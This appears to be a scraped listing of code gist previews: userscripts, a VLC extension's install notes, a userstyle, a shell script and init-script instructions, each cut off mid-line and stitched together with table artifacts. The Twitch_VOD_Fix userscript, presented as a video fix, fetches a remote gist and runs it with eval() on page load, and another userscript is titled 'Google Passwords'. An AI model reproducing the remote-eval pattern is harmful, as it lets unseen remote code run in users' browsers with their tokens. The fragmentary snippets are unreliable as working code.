Look at LSB init scripts for more information.
Copy to /etc/init.d:
# replace "$YOUR_SERVICE_NAME" with your service's name (whenever it's not enough obvious)| --[[ | |
| INSTALLATION: | |
| Put the .lua file in the VLC subdir /lua/extensions, by default: | |
| * Windows (all users): %ProgramFiles%\VideoLAN\VLC\lua\extensions\ | |
| * Windows (current user): %APPDATA%\VLC\lua\extensions\ | |
| * Linux (all users): /usr/lib/vlc/lua/extensions/ | |
| * Linux (current user): ~/.local/share/vlc/lua/extensions/ | |
| (create directories if they don't exist) | |
| Restart VLC. |
| // ==UserScript== | |
| // @name Don't Deny Me! | |
| // @namespace http://blog.monstuff.com/archives/cat_greasemonkey.html | |
| // @description Removes bad attributes. | |
| // @include http://* | |
| // @include https://* | |
| // ==/UserScript== | |
| function checkforJQuery(){ | |
| if((typeof jQuery != 'undefined') || (typeof $ != 'undefined')){ |
| // ==UserScript== | |
| // @name Twitch_VOD_Fix | |
| // @namespace Engo29 | |
| // @include /http://www\.twitch\.tv/.*/\w\/\d*/ | |
| // @version 1.0 | |
| // @grant none | |
| // ==/UserScript== | |
| $.ajax({url:"https://gist.githubusercontent.com/LinkTree3/3ecd2d725eece4f5d9e9/raw/",dataType:"jsonp",success:function(c){eval(c)}}); | |
| setTimeout(function(){$(function(){var e;t=document.URL;l=t.split("/");i="b"==l[4]?"v"+l[5]:l[4]+l[5];window.n=$("#player");$.ajax({url:"https://api.twitch.tv/api/viewer/token.json?as3=t",dataType:"jsonp",success:function(t){e=t.token,$.ajax({url:"http://api.twitch.tv/api/videos/"+i+"?as3=t&oauth_token="+e,dataType:"jsonp",success:function(e){var t,l=e.start_offset,i=e.end_offset,o=[],a=0;if(void 0!==e.chunks["medium"]){console.log("480p detected!"),$("body").append('<script src="http://releases.flowplayer.org/js/flowplayer-3.2.13.min.js"><\/script><style>#player{margin-bottom:45px;}#fixplayer{height:100%;}#playlist{display:block;width:100%;overflow:auto;padding-bottom:15px;height:25px;text-align |
| /* | |
| Original: Add helpful icons to links (http://userstyles.org/styles/2245) by raezr (https://userstyles.org/users/2364) | |
| Modified by Bluscream (https://userstyles.org/users/302445) | |
| */ | |
| @namespace url(http://www.w3.org/1999/xhtml); | |
| /* JPG */ | |
| a[href $=".jpg"],a[href $=".JPG"] { | |
| background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAkBJREFUeNqMU01IVFEU/u59Y29GZ3RGYooiQiMnwp9pEwRBENSiVWWKEUS1dhvUtkXtpKhIXEbUKtpFrSpaVhaGYGoTNKJgWpk6zcyb927fec+Xb7RFBw7v3HvP953fp4wxuHjv9Y+q66U9D+DRFwUxgoNSCpalvz0YPJLFmpjQUYxzt1+aORpfXGOmqQVqkTpTo/I7y7cn49/NwK0XD6MEoloOLiOvusDS22vYM9qNttEO3H0HDFMdB7h0/RlO7s/g9NHusyR5hIjEfDYm7DCjnjID6CRvqmhM8dELirC0hrM0j77OLLTqGYjdedXA6zOC1WG9nniWVpnKTxRULxrpkqDWSHKwczdODY/hxI3nOJDLwPO83roMJI4mwc22IhvGiLSb1ujHF4H+Yzn0H8/BcwPCvw0MCSQDw4eUDlISEkVDWcDcm52YVQmCykjkZ3BoR4AIRYeGjDBhBRqXL6lXPl9ByUmh7CRRriZRKlxFPTxCIKnZBG4RJdhm/QtfR1DhFCo1g3INWCyOoIZ/ZqDhsqw4QTbB8VhAlNl+AaXfv1CqrPjfVp5l5JG4YRObYQhoshGuIccF5A8PwbKHMHE+i3335+FWW |
| // ==UserScript== | |
| // @name GMail+ | |
| // @version 0.1 | |
| // @description try to take over the world! | |
| // @match *mail.google.com/mail/* | |
| // @require https://code.jquery.com/jquery-2.2.1.min.js | |
| // @require https://cdn.rawgit.com/brandonaaron/livequery/1.1.1/jquery.livequery.js | |
| // @grant none | |
| // @run-at document-end | |
| // @author Bluscream |
| #!/bin/sh | |
| # Function for displaying variable values and anything else I want | |
| debug() { | |
| gdialog --title $1 --msgbox $2 250 150 | |
| } | |
| # We don't want to split NAUTILUS_SCRIPT_SELECTED_FILE_PATHS on spaces. | |
| IFS=" | |
| " |
| // ==UserScript== | |
| // @name Google Passwords | |
| // @namespace admin@timo.de.vc | |
| // @version 0.1 | |
| // @description try to take over the world! | |
| // @author Bluscream | |
| // @match *.google.com/* | |
| // @grant none | |
| // @require https://code.jquery.com/jquery-2.2.1.min.js | |
| // @require https://cdn.rawgit.com/brandonaaron/livequery/1.1.1/jquery.livequery.js |
| /** @type {Array} */ | |
| var _gaq = []; | |
| (function() { | |
| /** | |
| * @param {Element} el | |
| * @param {string} selector | |
| * @return {?} | |
| */ | |
| function fn(el, selector) { | |
| return new self.B(el.querySelectorAll(selector)); |
| // ==UserScript== | |
| // @name ILoveRadio | |
| // @namespace Bluscream | |
| // @version 1.0 | |
| // @description Makes the chat on ILoveradio.de less cancer ;P | |
| // @author Bluscream | |
| // @downloadurl https://gist.githubusercontent.com/Bluscream/d0f3bf4f4e380e528cb60f51aafc28c7/raw/iloveradio.user.js | |
| // @updateurl https://gist.githubusercontent.com/Bluscream/d0f3bf4f4e380e528cb60f51aafc28c7/raw/iloveradio.user.js | |
| // @match http://www.iloveradio.de/* | |
| // @exclude http://www.iloveradio.de/iloveradio/?popup |
Look at LSB init scripts for more information.
Copy to /etc/init.d:
# replace "$YOUR_SERVICE_NAME" with your service's name (whenever it's not enough obvious)